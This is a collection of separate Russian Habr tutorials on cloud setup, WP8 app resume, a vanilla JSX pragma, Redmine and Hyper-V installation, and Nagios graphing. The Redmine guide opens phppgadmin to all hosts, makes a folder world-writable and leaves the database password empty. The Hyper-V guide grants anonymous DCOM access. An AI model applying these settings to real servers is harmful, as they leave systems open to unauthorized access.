Резервное копирование важно настроить не только для сервера, но и для базы данных. Происходит это похожим образом — сперва находим в панели управления облаком раздел Relational Database Service.
Откроется страница с настроенными базами данных — выберем там dev-rds.
Далее, перейдем к вкладке Backups & restorations, чтобы модифицировать политику — установить время операции и глубину хранения копий.
При создании базы к ней автоматически применяются политики по умолчанию, однако вы можете их поправить в соответствии со своими задачами.
Бэкап базы данных также можно создать вручную. Для этих целей в меню More есть пункт Create Backup.
Появится окно, в котором нужно дать резервной копии понятное название, чтобы было легко определить, для каких целей она создана. Но для примера мы назовем ее просто dev-rds-backup.
После нажатия на ОК, в меню Backup Management возникнет новая задача со статусом Creating. Она как раз формирует наш бэкап.
Включаем балансировщик нагрузки
-------------------------------
Его задача — распределять входящий трафик между несколькими экземплярами виртуальных машин. Если трафик сильно возрастает, балансировщик «поднимает» дополнительные инстансы. До начала работы с ним необходимо добавить сертификат. Для этого в главном меню управления облаком выбираем Elastic Load Balance и переходим в подменю Certificates.
Там кликаем на Create Certificate. Во всплывающем окне из выпадающего списка Enterprise Project выбираем проект, также прописываем имя сертификата (в нашем случае — testcert). Мы используем «самописный» сертификат, сгенерированный на сервере — его содержимое и ключ скопированы в соответствующие поля формы. Осталось указать доменное имя (api.sbertaxfree.dev) и можно переходить к настройке балансировщика.
Когда сертификат создан, нажимаем на Create Elastic Load Balancer. В разделах VPC и Subnet с помощью выпадающих меню выбираем виртуальную сеть и подсети, которые мы настраивали в начале туториала. Также прописываем имя балансировщика и указываем его принадлежность к нашему проекту.
После подтверждения настроек в списке Load Balancers появится «свежесформированный» балансировщик.
Система почти готова к работе, осталось настроить «слушателей». Для этого необходимо кликнуть на только что созданный балансировщик и перейти на вкладку Listeners. Тут необходимо прописать порты, с которыми слушатели будут работать. В нашем случае cистема будет принимать трафик по 443 порту. Также в поле SNI Certificate выбираем только что сгенерированный сертификат, он будет перенаправлять потоки данных к серверу на порт 8080.
В следующем окне задаем имя группы для «слушателей» (server-group-api).
Система оповестит об успешном завершении операции.
«Слушателю» нужно «рассказать», с каким трафиком предстоит работать. Для этого идем в Backend Server Groups в настройках «слушателя» и кликаем на Add.
В первом всплывающем окне выбираем сервер dev-backend и нажимаем Next.
Далее определяем порт 8080 — его использует наше приложение.
В результате сервер dev-backend появится в соответствующий вкладке.
Теперь, если мы будем подключаться к нашей сети через VPN, то легко получим доступ к приложениям внутри сети, а балансировщик будет распределять трафик.
Что в итоге
-----------
Я рассказал о том, как настроить стенд для разработчиков с помощью PaaS-сервисов. Они работают «из коробки» и позволяют масштабировать ресурсы в зависимости от поставленной задачи. Разумеется, аналогичным образом в облаке можно развернуть и промышленные стенды, хотя для этого потребуется более «глубокая» настройка политик ограничения доступа и механизмов защиты вроде противодействия DDoS и валидации запросов для предотвращения атак с перебором паролей.
На платформе SberCloud.Advanced есть соответствующие [решения](https://sbercloud.ru/ru/products/identity-and-access-management?utm_source=habr&utm_medium=article&utm_campaign=habr_howtoexpanddevstand_2209_identity-and-access_advanced) и не только они. Вы можете оценить работу всех облачных сервисов SberCloud самостоятельно, [зарегистрировавшись в личном кабинете на сайте](https://sc.link/o2Oj). Если возникнут вопросы, можно связаться с поддержкой по электронной почте support@sbercloud.ru или написать в [Telegram-чат](https://t.me/sbercloud_advanced). | https://habr.com/ru/post/578536/ | null | ru | null |
# Fast app resume для Windows Phone 8
**Fast App Resume**
В продолжение последней статьи про [интеграцию](http://habrahabr.ru/company/mailru/blog/213017/) в хаб «Фотографии» сегодня раскроем тему [Fast Application Resume](http://msdn.microsoft.com/en-us/library/windowsphone/develop/jj735579), которая появилась в WP8, и рассмотрим, для чего он нужен и какие преимущества дает использование этой функции, а также различные сценарии использования App Resume.
Забегая вперед, хотелось бы отметить упомянутую проблему использования Fast Resume вместе с Photo Sharing, Push Notification и т.д. Как оказалось, проблемы нет. Почти нет. Если пользователь обновил свой телефон (WP8 Update 3), то с новым обновлением проблем с переходом по Url уже нет. Однако коллега [texnedo](https://habrahabr.ru/users/texnedo/) показал один интересный сценарий, при котором наблюдается баг с AppResume. Если в приложении включен App Resume и залочить экран не сворачивая приложения, то приложение просто восстанавливается без перехода по toast url.
**Для чего нужен App Resume?**
При классической модели выполнения приложения, клик по тайлу (на рабочем столе или при клике в списке приложений) не только запускает, но и перезапускает приложение, если оно было запущено и свернуто. В некоторых случаях проще не перезапускать приложение, а возвращаться в уже запущенное приложение так, словно пользователь вернулся по кнопке «Назад». Для «тяжелых» приложений значительно быстрее вернуться в запущенное приложение, нежели перезапускать его и заново инициализировать данные, что субъективно сокращает время «запуска».
Как и в случае с Fast Application Switch (в отличие от App Resume, эта возможность быстрого возврата в запущенное приложение после сворачивания по кнопке «Назад»), App Resume не является заменой Tombstone и нужно учитывать, что если приложение «уснуло», то необходимо полностью сохранять данные и самостоятельно их восстанавливать.
Теперь рассмотрим, как интегрировать эту фичу в приложение, рассмотрим различные сценарии возврата.
**Как включить App Resume**
Включить эту возможность достаточно просто: все, что надо сделать, это открыть файл WMAppManifest.xml в режиме редактирования XML (в контекстном меню – Open With – Xml editor) и дописать атрибут:
```
ActivationPolicy="Resume"
```
для тега .
В конечном итоге строка по умолчанию в манифесте вида:
будет выглядеть следующим образом:
**Как работает App Resume**
Для демонстрации деталей работы App Resume сделаем простое приложение с возможностью навигации между двумя страницами. Также на обеих страницах будем выводить значение какой-нибудь переменной, которое можно будет менять по кнопке, и будем показывать историю навигации, в том числе, было ли приложение запущено или активировано.
Для простоты, значение переменной сохраним в памяти в статичном классе в статичном поле и будем выводить на обеих страницах в OnNavigateTo
```
static class FakeCacheStorage
{
public static int Counter { get; set; }
}
```
Для того, чтобы разобраться, как именно работает App Resume, мы должны временно закомментировать строчку:
RootFrame.Navigated += CheckForResetNavigation;
в App.xaml.cs, где в обработчике хранится код.
В первую очередь проверим Fast Application Switching. Запустим приложение и увеличим счетчик до какого-нибудь числа (пускай будет 4) и посмотрим, что у нас будет до сворачивания приложения и возврата по кнопке «Назад»
 
Как мы и ожидали, вся разница в способе запуска приложения. Изначально приложение было запущено, а потом активировано по кнопке «Назад».
А теперь посмотрим, что было бы, если бы мы свернули приложение и вместо кнопки «Назад» запустили приложение через основной тайл приложения.
Как мы видим, приложение было запущено, а не активировано, и мы оказались на главной странице. Кроме того, значение переменной было сброшено. Явно необходимо восстанавливать все пользовательские данные из хранилища.
А теперь, если включить в манифесте App Resume, то, в конечном итоге, мы увидим другую картину:
А вот это уже интереснее — приложение было активировано, а не запущено, при этом мы оказались на главной странице и значение счетчика сохранилось! А нашу вторую страницу мы увидим, только если нажмем кнопку «Назад». Если бы мы не выводили историю навигации, то можно было бы подумать, что приложение было просто перезапущено. Самое интересное началось бы, когда пользователь попытался выйти из приложения по кнопке «Назад» — для этого ему придется три раза нажимать эту кнопку. Далее мы рассмотрим, для чего был так сделан App Resume и какие сценарии использования такого поведения мы можем использовать.
**App Resume как способ «быстро запуска» приложения**
То, что мы видели в предыдущем разделе, дает интересную пищу для размышлений. Мы можем использовать App Resume для быстрого запуска приложений с сохранением всех данных, загруженных в память, но нам надо избавиться от старой истории навигации. То есть по сути пользователь должен по кнопке «Назад» выти из приложения. Если вы создаете свое WP8-приложение в студии начиная с версии VS2012, то необходимые методы уже добавлены в сгенерированный проект. Для рассмотрения работы App Resume мы временно закомментировали строку с обработчиком App Resume:
RootFrame.Navigated += CheckForResetNavigation;
Если мы раскомментируем эту строку, то уже не увидим историю навигации.
По сути, выглядит так, словно приложение было запущено (пользователь попадает на главную страницу и по кнопке «Назад» выйдет из приложения), но при этом данные в памяти остались.
Рассмотрим подробнее, что выполняется в этом методе.
В методе InitializePhoneApplication (файл app.xaml.cs) есть отдельная подписка на событие Navigated:
RootFrame.Navigated += CheckForResetNavigation;
История навигации удаляется по аргументу Reset:
```
private void CheckForResetNavigation(object sender, NavigationEventArgs e)
{
// If the app has received a 'reset' navigation, then we need to check
// on the next navigation to see if the page stack should be reset
if (e.NavigationMode == NavigationMode.Reset)
RootFrame.Navigated += ClearBackStackAfterReset;
}
```
И, соответственно, далее в методе ClearBackStackAfterReset чистится история навигации:
```
private void ClearBackStackAfterReset(object sender, NavigationEventArgs e)
{
// Unregister the event so it doesn't get called again
RootFrame.Navigated -= ClearBackStackAfterReset;
// Only clear the stack for 'new' (forward) and 'refresh' navigations
if (e.NavigationMode != NavigationMode.New && e.NavigationMode != NavigationMode.Refresh)
return;
// For UI consistency, clear the entire page stack
while (RootFrame.RemoveBackEntry() != null)
{
; // do nothing
}
}
```
Почему здесь есть подписка на New и Refresh? Рассмотрим на нашем примере.
Если мы используем App Resume, находясь на второй странице, то мы можем сделать точку остановки в методе OnNavigateTo нашей странице и увидеть, что страница запускается с параметром New. Однако, если мы уже находились на главной странице в момент сворачивания приложения, то мы вернемся на главную сначала с параметром навигации Reset, а уже потом с параметром навигации Refresh, что и обрабатывается в этом методе.
Далее рассмотрим еще один интересный сценарий использования App Resume — когда мы не запускаем приложение, а возвращаемся в него.
**App Resume для возврата в запущенное приложение. «Как в iOS или WP8.1»**
Прошел слух, что теперь приложения под WP8.1 по основному тайлу будут не перезапускаться по умолчанию, а восстанавливаться. Так это или не так, мы можем узнать только после Build. А пока мы можем сделать поведение «как в iOS», то есть если пользователь свернул приложение и нажал на основной тайл, то попадает на ту же страницу, где он был, а приложение не перезапускается. Важно понимать, что надо использовать эту возможность не для того, чтобы сделать «как в iOS», а для того, чтобы сделать действительно удобное и качественное приложение, которым будет удобно пользоваться. Да и в целом в WP-пользователи привыкли, что приложения при нажатии на основной тайл, скорее всего, перезапустятся.
По сути, пользователь должен попадать в свое приложение так же, как если бы он просто переключился на приложение по кнопке «Назад», с сохранением истории навигации и пользовательских данных на экране.
Нам необходимо обработать два основных сценария поведения:
1. Пользователь нажимает на тайл приложения.
2. Пользователь активирует приложение по ссылке (Push Notification, Secondary Tile, Photo Share и т.д.)
В первом случае, для реализации этого сценария в первую очередь отключим сброс истории при App Resume:
в App.xaml.cs удаляем подписку на **Navigated** и метод CheckForResetNavigation, подписываемся на событие **Navigating** (оно наступает ДО того, как мы перейдем на страницу и можем отменить переход):
RootFrame.Navigating+=ContinueExecution;
При запуске приложения мы можем увидеть в методе, что сначала приходит событие с аргументом Reset, а затем событие с аргументом New при клике на тайл приложения.
С учетом этого поведения подробнее рассмотрим реализацию ContinueExecution:
```
private bool isRelaunch = false;
private void ContinueExecution(object sender, NavigatingCancelEventArgs e)
{
if (e.NavigationMode == NavigationMode.Reset || (isRelaunch && e.NavigationMode==NavigationMode.New))
{
if (isRelaunch && e.Uri.OriginalString != "/MainPage.xaml")
{
RootFrame.Navigated+=ClearBackStackAfterReset;
return;
}
e.Cancel = true;
isRelaunch = !isRelaunch;
}
}
```
Метод ClearBackStackAfterReset генерируется студией для новых WP8-проектов и просто очищает историю навигации:
```
private void ClearBackStackAfterReset(object sender, NavigationEventArgs e)
{
RootFrame.Navigated -= ClearBackStackAfterReset;
if (e.NavigationMode != NavigationMode.New && e.NavigationMode != NavigationMode.Refresh)
return;
while (RootFrame.RemoveBackEntry() != null)
{
}
}
```
Как мы можем здесь видеть, было добавлено условие проверки на стартовую страницу:
```
if (isRelaunch && e.Uri.OriginalString != "/MainPage.xaml")
```
Проверка необходима для второго сценария, когда свернутое приложение активируется по вторичным тайлам, Push Notification и т.д.
В этом случае будет очищена история, и после активации приложения и обработки пользовательской истории по кнопке «Назад» мы выйдем из приложения.
Если же вы хотите, к примеру, по Push Notification не удалять историю, а продолжать пользоваться приложением, то достаточно удалить строку
RootFrame.Navigated+=ClearBackStackAfterReset;
или же добавить еще одно условие для ссылок с Push Notification.
Для демонстрации работы второго сценария добавим на следующую страницу кнопку для генерации второй ссылки:
Добавим довольно простой обработчик для этой кнопки:
```
private void ButtonTile_OnClick(object sender, RoutedEventArgs e)
{
var secondTile = ShellTile.ActiveTiles.FirstOrDefault(x => x.NavigationUri.ToString().Contains("issecondtile"));
if (secondTile == null)
{
var newTileData = new StandardTileData
{
Title = "Second Page",
};
ShellTile.Create(new Uri("/SecondPage.xaml?id=someid&issecondtile=true", UriKind.Relative), newTileData);
}
}
```
Теперь, если мы запустим приложение, то перейдем на вторую страницу. Если после этого нажмем на тайл, то увидим, что приложение запустилось без истории навигации и при этом по основному тайлу запускается с историей навигации.
 
**Итоги**
Несмотря на простоту App Resume, объяснение принципов работы получилось довольно объемным. Как мы видим, с помощью App Resume можно не только ускорить запуск приложения, но и сделать поведение приложения «как в iOS». Особенно важно также не забывать про Tombstone в сценарии восстановления приложения по тайлу. В этом случае у нас сохранится вся история навигации, но при этом все пользовательские данные в памяти будут уничтожены и нам необходимо восстановить их на экране из хранилища. | https://habr.com/ru/post/214933/ | null | ru | null |
# Ванильный JSX
Привет всем любителям покопаться в технологиях фронтенда! В этой статье я расскажу про то, как можно встроить JSX в проект на ванильном TypeScript со сборщиком Vite. Материал будет интересен, если вы:
* Работали с React, но не знаете, что у него под капотом.
* Интересуетесь всей теорией, связанной с фронтендом.
* Гик, создающий проекты на ванильном JS/TS.
Зачем? По большей части ради веселья! Вряд ли описанная идея может быть использована в реальных проектах без дополнительных переусложнений и создания нового фронтенд-фреймворка. Так что откройте в соседней вкладке [GitHub-репозиторий с кодом проекта](https://github.com/VanishMax/vanilla-jsx) и устройтесь поудобнее. Впереди – глубокое погружение в JSX.
### Что такое JSX?
**JSX** – это синтаксическая обертка над JS. Его нет в стандартах ECMAScript, так что инструменты вроде [Babel и React](https://babeljs.io/docs/en/babel-plugin-transform-react-jsx/) занимаются его транспиляцией в обычный JavaScript код. Рассмотрим классический пример JSX:
```
const profile = (
### {[user.firstName, user.lastName].join(" ")}
);
```
После прогона `@babel/plugin-transform-react-jsx`, код превратится в уже понятный браузерам JS:
```
const profile = React.createElement(
"div",
null,
React.createElement("img", { src: "avatar.png", className: "profile" }),
React.createElement("h3", null, [user.firstName, user.lastName].join(" "))
);
```
Как можно заметить, Babel успешно превратил JSX в аккуратную функцию `React.createElement`, состоящую из тега-обертки, его свойств (в примере – null) и дочерних элементов, которые тоже, в свою очередь, создаются с помощью этой функции.
Фреймворки React, Vue, Solid умеют обрабатывать JSX, но делают это по-разному. Все потому что у них разные реализации функции `createElement`, которую по-другому называют **JSX Pragma**. Узнав об этом, я сразу захотел создать свою прагму.
### Парсинг JSX
Прежде чем прыгать в создание прагмы, нужно научиться парсить JSX. Для небольшого и современного проекта, где не требуется поддержка старых браузеров, не хочется использовать Babel. Благо развернуть легкий и быстрый проект всегда можно с Vite и TypeScript. Ну, или с чем-то одним.
[Vite](https://vitejs.dev/) – современный сборщик проектов. Его особенность заключается в том, что, в отличие от Webpack, он поставляет исходный код через ES модули. Чтобы развернуть проект на Vite и TypeScript, нужно лишь выполнить команду:
```
npm create vite@latest
```
По умолчанию и Vite, и TypeScript, увидев файлы `.jsx` или `.tsx`, будут парсить JSX внутри них и подставлять функцию `React.createElement`. Чтобы направить их на кастомную функцию, нужно поменять настройки в `tsconfig.json`.
```
{
"compilerOptions": {
"jsx": "preserve",
"jsxFactory": "h",
"jsxFragmentFactory": "Fragment"
}
}
```
Или, если вы пишете проект без TypeScript, настройте `vite.config.js`.
```
import { defineConfig } from 'vite';
export default defineConfig({
esbuild: {
jsxFactory: 'h',
jsxFragment: 'Fragment'
}
});
```
Эти свойства скажут парсеру, что при обработке JSX должна использоваться функция `h` (от слова *hyperscript, hyper~~text~~ + ~~java~~script*), если в JSX только один родительский элемент, и `Fragment`, если их несколько.
### JSX Pragma
Настроив парсер на обработку функции `h`, попробуем создать ее в `src/pragma.ts`.
```
// Тег может быть как строкой, так и функцией – если парсим
// функциональный компонент
type Tag = string | ((props: any, children: any[]) => JSX.Element);
// Атрибуты элемента – объект либо null
type Props = Record | null;
// Дети элемента – возвращаемое значение функции h()
type Children = (Node | string)[];
export const h = (tag: Tag, props: Props, ...children: Children) => {
// Если тег – компонент, вызываем его
if (typeof tag === 'function') {
return tag({ ... props }, children);
}
// Создаем html-элемент с переданными атрибутами
const el = document.createElement(tag);
if (props) {
Object.entries(props).forEach(([key, val]) => {
if (key === 'className') {
el.classList.add(...(val as string || '').trim().split(' '));
return;
}
el.setAttribute(key, val);
});
}
// Добавляем дочерние элементы к родительскому
children.forEach((child) => {
el.append(child);
});
return el;
};
```
Функция `h`, как и `createElement`, принимает название тега (или функциональный компонент), атрибуты и результат выполнения функции `h` для дочерних элементов.
Все `.jsx` файлы должны импортировать функцию `h`, чтобы она была в зоне видимости кода после транспиляции. К примеру, создадим такой компонент:
```
import { h } from '../pragma';
import { LikeComponent } from './like';
export const App = (
Hello JSX!
============
);
```
Осталось лишь отобразить наше приложение в HTML:
```
import { App } from './components/app';
const app = document.querySelector('#app')!
app.append(App);
```
Готово! Теперь TypeScript парсит JSX, а прагма правильно формирует DOM для отображения простейшей верстки, разбитой по JSX-компонентам!
### Практическое применение
Как было сказано в начале статьи, это приложение не предназначено для реальных проектов. Оно лишь показывает, как просто можно обрабатывать JSX без использования рантайм-библиотек, буквально работая в ванильном JS.
При этом данную концепцию довольно сложно будет масштабировать. Ведь, чтобы наделить функциональные компоненты логикой, в JSX прагме придется прописывать работу с переменными и обработчиками событий. Занимаясь подобным, вы скорее всего переизобретете [реактивность](https://hackernoon.com/how-to-build-your-own-reactivity-system-fc48863a1b7c).
### Заключение
Как выяснилось, такой нестандартный концепт как JSX Pragma довольно легко можно собрать своими руками в домашних условиях. Я призываю вас экспериментировать со всеми технологиями, до которых доходят руки, углубляться в них.
Также предлагаю вам подписаться на [мой телеграм-канал](https://t.me/vanishmax_channel), где я стараюсь регулярно освещать новые технологии во фронтенде. Будет интересно даже искушенным читателям.
Спасибо [@illright](/users/illright) за редактуру и код-ревью. | https://habr.com/ru/post/659483/ | null | ru | null |
# Howto Установка Redmine2.2.0 Debian+Apache+PostgreSQL+passenger
Потратив 4 дня в осмыслении на чем это все работает и как ставится, перелопатив тонны более чем странных ошибок, написал себе шпаргалку… и с остальными поделится не прочь. Нижеописанное с малыми исправлениями ИМХО годно и для убунтария
redmine + PG
============
На начало установки имеем Debian 6.0.6 его установку я опускаю.
Проверка и обновление зависимостей:
```
sudo su
<пароль>
apt-get update
apt-get upgrade
```
Теперь устанавливаем все нужные пакеты скопом:
```
apt-get install postgresql postgresql-client postgresql-contrib php5-pgsql phppgadmin apache2 subversion libpgsql-ruby libapache2-mod-passenger ruby rubygems libruby libpq-dev libmagickcore-dev libmagickwand-dev libcurl4-openssl-dev apache2-prefork-dev libapr1-dev libaprutil1-dev
```
Собсно сам редмайн нам тоже не помешает, [смотрим страничку с релизами](http://rubyforge.org/frs/?group_id=1850), выбираем нужный и качаем например так:
```
wget http://rubyforge.org/frs/download.php/76627/redmine-2.2.0.tar.gz
```
распаковка
```
tar xpvf redmine-2.2.0.tar.gz -C /usr/local/share/
```
ярлык
```
ln -s /usr/local/share/redmine-2.2.0/ /usr/local/share/redmine
```
меняем владельца
```
chown -R root:root /usr/local/share/redmine-2.2.0/
```
Теперь займемся БД`хой
создаем юзера и базу в постгресе
```
psql
postgres=# CREATE ROLE redmine LOGIN ENCRYPTED PASSWORD '' NOINHERIT VALID UNTIL 'infinity';
postgres=# CREATE DATABASE redmine WITH ENCODING='UTF8' OWNER=redmine TEMPLATE template0;
postgres=# \q
exit
```
чтоб все закрутилось нам нужен бандлер:
```
gem install bundler
```
переходим в папку редмайна и запускаем его установку. Полный путь к бандлеру необязателен **если** путь прописан заранее
```
cd /usr/local/share/redmine
/var/lib/gems/1.8/bin/bundle install --without development test mysql sqlite
```
создаем конфиг подключения к базе:
```
touch /usr/local/share/redmine/config/database.yml
nano /usr/local/share/redmine/config/database.yml
```
пихаем туда следующий конфиг
```
production:
adapter: postgresql
database: redmine
host: localhost
username: redmine
password: ""
encoding: utf8
```
сохраняем закрываем.
генерим токен
```
/var/lib/gems/1.8/bin/rake generate_secret_token
```
запускаем в работу rake
```
RAILS_ENV=production /var/lib/gems/1.8/bin/rake db:migrate
RAILS_ENV=production /var/lib/gems/1.8/bin/rake redmine:load_default_data
```
при запросе ввести 'ru'
как счастливый итог — видим:
`Default configuration data loaded.`
приступаем к «web2.0»
=====================
для начала PG Admin`ка
```
nano /etc/phppgadmin/apache.conf
```
приводим соотв. строки к такому виду (либо на свой извращенный вкус):
```
#deny from all
#allow from 127.0.0.0/255.0.0.0 ::1/128
allow from all
```
Создаем конфиг сайта «redmine» в апаче
```
touch /etc/apache2/sites-available/redmine
echo "RailsBaseURI /redmine" > /etc/apache2/sites-available/redmine
```
Забегая вперед — может в будущем что-то поменяется но на данный момент с libapache2-mod-passenger имеются проблемы
, поэтому меняем пассажира ибо тот что идет в комплекте с редмайном работать как надо отказывается
```
gem install passenger
```
```
/var/lib/gems/1.8/bin/passenger-install-apache2-module
```
жмем энтер, убеждаемся что пассажир в порядке
```
nano /etc/apache2/mods-available/passenger.conf
```
должен иметь такой вид
```
PassengerRoot /var/lib/gems/1.8/gems/passenger-3.0.18
PassengerRuby /usr/bin/ruby
PassengerUserSwitching off
PassengerDefaultUser www-data
```
обращаем внимание на строчки UserSwitching и DefaultUser — решают проблему входа в admin\_settings для версии =2.2.0
и файл загрузки
```
nano /etc/apache2/mods-available/passenger.load
```
с содержимым
```
LoadModule passenger_module /var/lib/gems/1.8/gems/passenger-3.0.18/ext/apache2/mod_passenger.so
```
включаем редмайн в апаче
```
a2ensite redmine
```
проставляем нужные права и владельцев
```
chown -R www-data:www-data /var/www/redmine
chown -R www-data:www-data /usr/local/share/redmine/tmp
chmod 0777 /usr/local/share/redmine/files
chmod 0666 /usr/local/share/redmine/log/production.log
```
теперь после
```
/etc/init.d/apache2 reload
```
видим
[redmine\_server/phppgadmin](http://redmine_server/phppgadmin/) админку постгресса
можно делать бэкапы и прочие радости
[redmine\_server/redmine](http://redmine_server/redmine/) собсно редмайн
все! пользуем | https://habr.com/ru/post/165451/ | null | ru | null |
# Установка и настройка Microsoft Hyper-V Server 2008 R2
#### Вступление
Сегодня я расскажу вам как установить и настроить гипервизор от Microsoft, а так же как управлять им.
Итак, сначала небольшое лирическое отступление.
По мере оптимизации существующей инфраструктуры встал вопрос о виртуализации. Я тут же вспомнил про замечательное решение от VMware — ESXi, с которым раньше неоднократно работал и был более чем доволен и собрался уже было на него мигрировать, но судьба распорядилась иначе. В процессе планирования и выбора платформы виртуализации неожиданно победил Hyper-V.
Две вещи склонили чашу весов в его сторону: отличная поддержка железа, а так же тот фактор, что у меня в организации используются только продукты Microsoft, вследствие чего имеем более тесную интеграцию и лучшую управляемость. К сожалению, поддержка AD была анонсирована в ESXi 4.1 позже начала миграции, а то наверное я бы еще подумал.
Как многие знают, Hyper-V Server 2008 R2 — бесплатный продукт и представляет собой ОС Windows Server 2008 R2 Standard, работающую в режиме Server Core (то есть без GUI) и с включенной ролью Hyper-V. В связи с этим возникают некоторые сложности в настройке системы для «виндовых» админов, так как нет волшебных кнопочек «далее» и «готово», а уж для линуксоидов и подавно — синтаксис комманд в винде и рядом не лежал с никсами по удобству и понятности.
#### Установка
Начнем с установки.
Установка с компакт-диска не представляет собой ничего сложного — загрузились с диска, выбрали язык, согласились с лицензионным соглашением, выбрали раздел и «ушли курить» минут на 10.
#### Настройка
Теперь начинается самое интересное — настройка.
При первом входе в систему мы видим текстовое меню, позволяющее произвести первичную настройку сервера.
На мой взгляд, оно не очень удобное, к тому же по умолчанию вы не сможете удаленно подключиться к серверу с помощью Диспетчера Hyper-V, поэтому смело его закрываем и переходим в коммандную строку.
**1. Установка пароля администратора**
выполните команду `net user administrator *` и введите новый пароль
**2. Настройка сети**
По умолчанию сетевые адаптеры настроены на получение адреса по DHCP, если вас это устраивает, можете переходить сразу к шагу 3.
Выполните команду `netsh interface ipv4 show interface`, запомните IDx нужной сетевой карты.
Выполните команду `netsh interface ipv4 set address name=‘2’ source=static address=192.168.0.2 mask=255.255.255.0 gateway=192.168.0.1` где 2 – тот самый IDx.
Для настройки днс серверов выполните `netsh interface ipv4 add dnsserver name=‘2’ address=192.168.0.10`
Вы всегда можете вернуть родные настройки командой `netsh interface ipv4 set address name=‘2’ source=dhcp`
**3. Имя компьютера и ввод в домен**
В принципе домен не обязательно нужен, но это сильно упрощает жизнь, позже я расскажу почему. Будем считать что домен есть и мы будем пользоваться этим достижением человеческой мысли.
Смотрим имя компьютера командой `hostname`
Меняем имя компьютера командой `netdom renamecomputer WIN-KMTUYKKZPJQ /newname:vm1`, где WIN-KMTUYKKZPJQ – старое имя вашего компьютера, а vm1 – новое.
Вводим компьютер в домен командой `netdom join vm1 /domain:contoso.com /userd:administrator /password:*` и вводим пароль указанной учетной записи.
Перезагружаемся.
На этом первичная настройка завершена.
#### Управление
Для управления сервером вам потребуется скачать и установить Remote Server Administration Tools (RSAT) для клиентской операционной системы и установить компонент Диспетчер Hyper-V, или добавить роль Hyper-V и установить компонент Диспетчер Hyper-V на Windows Server 2008 R2.
Пытаемся подключиться к нашему серверу и видим ошибку, которая говорит нам занести админу пива, чтобы он выдал нужные права. Вспомнив, что мы и есть тот самый админ, не падаем духом и читаем дальше.
John Howard, который занимает пост Senior Program Manager in the Hyper-V team at Microsoft, написал цикл статей, посвященный раздаче необходимых прав, а в последствии состряпал замечательную утилиту [HVRemote](http://code.msdn.microsoft.com/HVRemote), которая произведет хитроумную настройку сервера и клиента, не взрывая мозг админу.
Ей мы и воспользуемся. Итак, [скачиваем](http://code.msdn.microsoft.com/HVRemote/Release/ProjectReleases.aspx?ReleaseId=3084), заходим на сервер по *\\server\C$*, кладем HVremote.wsf в папку Windows (или в любое другое место, но тогда не забываем указывать полный путь до нее). Запускаем на сервере:
`cscript hvremote.wsf /add:domain\account ***`, где domain\account – ваше имя пользователя в домене. Скрипт пропишет все необходимые привилегии, в том числе откроет нужные порты на фаерволе.
Затем, на клиенте cscript hvremote.wsf /mmc:enable, скрипт создаст исключения фаервола.
Теперь можно запускать Диспетчер Hyper-V и подключаться к нашему серверу, создавать виртуалки и радоваться жизни.
#### Заключение
Расскажу о некоторых моментах, с которыми мне пришлось столкнуться:
1. Используйте англоязычную версию Hyper-V – на русскоязычной скрипт не будет работать, поскольку названия групп в фаерволе будут отличаться. С клиента интерфейс hyper-v все равно будет русским.
2. Используйте домен. Если домена нет, нужно будет выполнить следующие шаги:
• Создать на сервере и на клиенте аккаунт с помощью `net user`
• Дать этому пользователю доступ `cscript hvremote.wsf /add:accountname ***`
• На клиенте разрешить анонимный доступ к DCOM `cscript hvremote.wsf /anondcom:grant`, залогиниться под тем же аккаунтом, которому разрешили доступ на сервере, или запустить Диспетчер Hyper-V из под нужного аккаунта, прописать учетные данные для подключения к серверу командой `cmdkey /add:servername /user:servername\account /pass`, а также создать исключения брандмауэра командой `cscript hvremote.wsf /mmc:enable`
Вот и все. Если будут вопросы – с удовольствием отвечу.
P.S: Автор — мой товарищ CLaiN. | https://habr.com/ru/post/79292/ | null | ru | null |
# Графики в Nagios — зачем и чем
#### Введение.
Выбрав Nagios в качестве системы мониторинга, получаем систему слежения за качественными характеристиками окружения и историю изменения состояний. И, если посмотреть текст сообщения пробника на данный момент и во время прошлых изменений состояния еще возможно, то данные по периодам между изменениями отсутствуют как класс. При любой более-менее активной работе с мониторингом, возникает желание просмотра истории изменений количественных характеристик тоже, что стандартный Nagios обеспечить не может. Можно, конечно, продублировать все необходимые пробники в тот же Cacti, но это как минимум дополнительные накладные расходы как на конфигурирование так и на машину с поллером. К счастью, Nagios умеет переложить это на плечи пользователя, обеспечивая механизм так называемых «данных производительности» (performance data). В данной статье рассматривается одно из решений по сбору и визуализации полученных данных – Pnp4Nagios.
#### Данные производительности
Состояние пробника дополненное данными производительности выглядит примерно так:
Способ доставки и требования к данным подробно расписаны в [документации](http://nagios.sourceforge.net/docs/3_0/perfdata.html), нам же в данном случае важно, что Nagios умеет как взять данные из вывода плагина, так и отдать их каким-либо внешним утилитам, ибо наличие дополнительной строчки в веб интерфейсе хоть и вносит некое разнообразие, однако ж пользы проносит немного :).
#### Внешние утилиты
Утилит для обработки performance data [и превращения их в графики] перечисленных только на [exchange.nagios.org/directory/Addons/Graphing-and-Trending](http://exchange.nagios.org/directory/Addons/Graphing-and-Trending) около 20ти. Несмотря на то, что делают они вроде бы одно и то же, они всё же различаются. Когда я выбирал тулзу для себя, руководствовался примерно следующим списком характеристик:
1. Интерфейс. Кроме шуток – посмотрите на то, что представлено в списке Graphing-and-Trending дополнений – почти все выглядят бледновато, если не сказать убого. После Cacti хотелось чтобы была как минимум возможность сделать графику Zoom. Ну и шаблоны отображения графиков.
2. Способ хранения статистики – мог бы быть на первом месте если б не почти поголовное увлечение RRD, среди этого выделяется [www.opmon.org/documentation](http://www.opmon.org/documentation), хранит данные в Mysql базе, дальше я на него и не смотрел, хватило и Zabbix’а с его хранением данных в базе.
3. Управление конфигурацией – после XML’я Cacti хотелось чего-то человеческого.
#### Pnp4nagios
Рассмотрим, что предлагает нам Pnp4nagios.
1. Интерфейс. Простое сравнение скриншотов Pnp4Nagios с NagiosGrapher’овскими, явно не в пользу последнего.
| | |
| --- | --- |
| pnp4nagios | |
| NagiosGraph | |
В частности, в Pnp4Nagios можно делать приближение, просмотр графиков по заданным периодам, в том числе выбор интервала дат в календаре; экспортировать график в виде pdf файла, файл соотвественно можно переслать не мучаясь вставкой картинок в письмо; добавить график в «корзину» для быстрого перехода в последующем; перейти к списку алертов в Nagios за выбранный промежуток времени. В дополнение к этому есть средство группировки графиков от разных хостов – так называемые «страницы». Поддерживается локализация, что впрочем не факт что плюс :)
2. Способ хранения статистики.
